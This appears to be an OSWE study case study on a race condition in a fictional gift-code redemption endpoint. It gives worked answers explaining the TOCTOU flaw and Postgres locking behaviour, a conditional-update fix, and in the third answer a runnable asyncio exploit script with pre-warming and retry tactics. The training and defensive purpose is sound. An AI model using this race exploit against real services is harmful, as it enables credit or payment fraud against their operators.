OSWE study materials
OSWE study resources

Splitwise-lite: Racing a Gift Code Through Eight Workers

OSWE · Put your knowledge to work in context.

All case studies

Splitwise-lite: Racing a Gift Code Through Eight Workers

Splitwise-lite hands out referral gifts. Each code is worth 25 credits and is meant to be redeemed once. Postgres 14 (READ COMMITTED), SQLAlchemy 1.4, gunicorn with 8 sync workers, nginx in front, no rate limiting:

g = Gift.query.filter_by(code=code).first()
if g is None or g.redeemed_by is not None:
    return {'error': 'invalid'}, 400
g.redeemed_by = user.id
db.session.add(WalletEntry(user_id=user.id, amount=g.value))
db.session.commit()
return {'balance': new_balance()}

gifts.code and gifts.id are unique; wallet_entries has no uniqueness constraints. A request takes about 45 ms wall clock, of which roughly 35 ms elapses between the SELECT and the COMMIT. Accounts are free to create and the API is plain HTTP inside the test harness.

1. Is this exploitable, and what bounds the number of duplicate credits? Give the interleaving required and the maximum payout from one burst.

Read the worked answer

Yes - a textbook check-then-act TOCTOU. The read (SELECT ... WHERE code=...) and the write (UPDATE gifts SET redeemed_by=... plus the wallet INSERT) are not atomic and there is no predicate re-checked at write time.

Interleaving required: two or more requests must both complete their SELECT before either reaches COMMIT. The window is the ~35 ms between read and write. Anything arriving after the first COMMIT sees redeemed_by set and correctly 400s.

What bounds it - and it is not the number of accounts:

  • The number of simultaneously in-flight transactions. gunicorn runs 8 sync workers, so at most 8 requests execute at once; request 9 waits in the accept queue and, by the time it runs, the row is committed. Creating more accounts does not help.
  • So the theoretical maximum is 8 × 25 = 200 credits per gift code from one burst, not 25 × N.
  • Realistically you get 2–6 because start-time jitter (a few ms of TCP scheduling) is the same order as the 35 ms window. Retry the burst with a fresh code when the balance delta is 0 or 1; the payoff is probabilistic, not deterministic, and a single-shot attempt proves nothing either way.

Also note the endpoint returns the resulting balance, so the win is self-evident - but verify against an independent /wallet read, because new_balance() inside a racing transaction may reflect a stale snapshot.

2. Assume two transactions both pass the check. Explain what Postgres row locking does at COMMIT and why neither request errors. What single change to the write would have made it safe?

Read the worked answer

Neither request errors because nothing serialises them.

Under READ COMMITTED:

  1. T1 and T2 both SELECT the row; both see redeemed_by IS NULL. No lock is taken by a plain SELECT.
  2. T1 issues UPDATE gifts SET redeemed_by=U1 WHERE id=42 and holds the row lock until commit.
  3. T2 issues the same UPDATE and blocks. When T1 commits, Postgres re-evaluates T2's WHERE against the new row version (EvalPlanQual). The predicate is id = 42 - still true - so T2's update proceeds and simply overwrites redeemed_by with U2.
  4. The two INSERT INTO wallet_entries rows are independent, unconstrained rows. Both commit.

No error is raised because READ COMMITTED does not detect the anomaly; you would only get a serialization failure at REPEATABLE READ/SERIALIZABLE, or if a constraint existed. That is why "we use transactions" is not a defence - the transaction is present, the predicate is missing.

The one-line fix (conditional update, check rowcount):

n = db.session.execute(
    text('UPDATE gifts SET redeemed_by=:u WHERE id=:g AND redeemed_by IS NULL'),
    {'u': uid, 'g': g.id}).rowcount
if n != 1:
    db.session.rollback(); return {'error': 'invalid'}, 400

The loser's WHERE fails at EPQ and it gets rowcount == 0 - a clean, correct rejection.

Equivalent alternatives: SELECT ... FOR UPDATE before the check (serialises, hurts throughput on hot codes), or a unique partial index on wallet_entries(gift_id) as a belt-and-braces backstop that turns the duplicate into an IntegrityError.

3. Write the exploit. Explain connection pre-warming and why a naive `for` loop of requests fails.

Read the worked answer
import asyncio, aiohttp

CODE  = "WELCOME-7F3A"
URL   = "http://target/gift/redeem"
HDRS  = {"Authorization": "Bearer <fresh signup token>"}
N     = 8                      # == gunicorn worker count; more just queues

async def redeem(sess, gate):
    await gate.wait()
    async with sess.post(URL, json={"code": CODE}, headers=HDRS) as r:
        return r.status, await r.text()

async def main():
    conn = aiohttp.TCPConnector(limit=N, force_close=False)
    async with aiohttp.ClientSession(connector=conn) as sess:
        # pre-warm: one full round trip per connection, outside the race window
        await asyncio.gather(*[sess.get("http://target/healthz") for _ in range(N)])
        gate = asyncio.Event()
        tasks = [asyncio.create_task(redeem(sess, gate)) for _ in range(N)]
        await asyncio.sleep(0.15)      # let all N coroutines reach the gate
        gate.set()
        print(await asyncio.gather(*tasks))

asyncio.run(main())

Why pre-warming decides the exploit. The vulnerable window is 35 ms. A cold connection costs a TCP handshake plus session setup - single-digit to tens of milliseconds of jitter, of the same magnitude as the window. Without pre-warming, request 3 starts 20 ms after request 1 and the earliest request may already have committed. The healthz round trips establish N idle keep-alive sockets and pay DNS, so the gated POSTs hit the wire within a fraction of a millisecond of each other.

Why a naive loop fails:

for _ in range(50): requests.post(URL, json={"code": CODE})

Each iteration blocks until the response, so request 2's SELECT happens after request 1's COMMIT. Zero duplicates, 49 × 400. Concurrency, not volume, is the entire attack.

Why exactly 8, not 500. Sync workers execute one request each; request 9 onwards sits in nginx/the accept queue until a worker frees up, which is after the winning commit. Firing 500 requests adds log noise and bank of false negatives from queueing; fire the worker count, then repeat with a fresh code on failure.

Confirm the win by reading the wallet from a separate session: expect a delta of 25 × (number of duplicates). If the delta is 25, the burst was too spread out - cut the sleep to 0.05 and retry.